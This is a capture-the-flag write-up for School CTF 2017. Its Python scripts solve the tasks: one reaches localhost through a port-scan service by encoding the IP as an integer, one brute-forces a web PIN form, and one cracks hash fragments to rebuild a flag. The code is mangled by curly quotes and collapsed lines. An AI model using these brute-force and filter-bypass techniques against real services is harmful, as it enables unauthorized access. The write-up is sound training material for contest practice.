School CTF 2017 - Write Up
Task URL
Can you find it?
Task URL
def ip2long(ip): aton = inet_aton(ip) return unpack(”!L",aton)[0]
def main(): URL = "http://portscan.task.school-CTF.org/port" IP = "127.0.0.1" HOST = ip2long(IP) PORT = "31337" print "Host : {}“.format(HOST) r = requests.post(URL,data={"host" : HOST,"port" : PORT}) raw_content = r.content flag = re.findall("SchoolCTF{.*?}“,raw_content) print "Flag : {}“.format(flag[0]) if __name__ == ’main‘: main()
p.s. It seems that one of them said that they haven’t yet fully configured the security system and the password can be cracked. Safe URL
def a(pin): if (int(pin[0]) + int(pin[1]) + int(pin[2])) % 10 == int(pin[3]): return pin else: return None pin_list = [] prod_pin = product("123456789",repeat=4) prod_pin = ["“.join(x) for x in list(prod_pin)] prod_pin = map(a,prod_pin) prod_pin = filter(None,prod_pin) prod_pin = list(set(prod_pin)) pin_list+=prod_pin
for pin in pin_list: pin = "“.join(pin) r =requests.post(URL,data={"key" : pin, "captcha" : "SEMBARANGAJA"}) resp = r.content if "wrong" in resp: print "Wrong {}“.format(pin) continue else: print "Found pin {}“.format(pin) print "Found pin {}“.format(pin) print "Found pin {}“.format(pin) break
Task.elf
BruteMe.exe
leters = string.ascii_letters + string.punctuation + string.digits
def generator(n=1): a = itertools.product(leters,repeat=n) return a
def text3(): for char in generator(3): char = "“.join(char) possible = "Ooooh so{}salty".format(char) hashMD5 = hashlib.md5(possible).hexdigest() if hashMD5 == "d0061dcf056a06713d5a757e0288d1b3": print "Found Text3 {}“.format(char) return char else: continue
def text4():
for char in generator(1):
char = "“.join(char)
hash384 = hashlib.sha384(char).hexdigest()
possible = "Stop trying to crack me god damnit!!!{}“.format(hash384)
hashMD5 = hashlib.md5(possible).hexdigest()
if hashMD5 == "5056e21f6af2a289c9c3116c16bba55f":
print "Found Text4 {}“.format(char)
return char
else:
continue
def text7():
hash384 = hashlib.sha384("Oh, i see you reading my source code! >:)“).hexdigest()
for char in generator(2):
char = "“.join(char)
possible = ”{0}{1}“.format(hash384,char)
hashMD5 = hashlib.md5(possible).hexdigest()
if hashMD5 == "c866a4f386df3da51a54c1f8434603eb":
print "Found Text7 {}“.format(char)
return char
else:
continue
def text8():
hash384 = hashlib.sha384(hashlib.sha512("FILL THE POWER OF SHA").hexdigest()).hexdigest()
for char in generator(2):
char = "“.join(char)
possible = ”{0}{1}“.format(hash384,char)
hashMD5 = hashlib.sha256(possible).hexdigest()
if hashMD5 == "7f6e2c5beefd0fd0000c3a72db28b54d0819a93f5cc87a48507f79cdac37cfe0":
print "Found Text8 {}“.format(char)
return char
else:
continue
def main():
# p1,p3,p5, and p6 obtained from :
# http://hashkiller.co.uk
# https://md5hashing.net/
p1 = "541"
p2 = ”____“
p3 = "“
p4 = "“
p5 = "19"
p6 = "757"
p7 = "“
p8 = "“
p3 += text3()
p4 += text4()
p7 += text7()
p8 += text8()
print "Flag : SchoolCTF{“+p8[1]+ p8[0]+ p6[1]+ p6[0]+ p2[3]+ p7[1]+ p1[1]+ p1[0]+ p7[0]+ p2[1]+ p1[2]+ p6[2]+ p2[2]+ p3[0]+ 'y'+ p2[0]+ p3[1]+ p3[2]+ 'r'+ p4[0]+ p5[0]+ 'n'+ p5[1]+”}“
if __name__ == ’main‘:
main()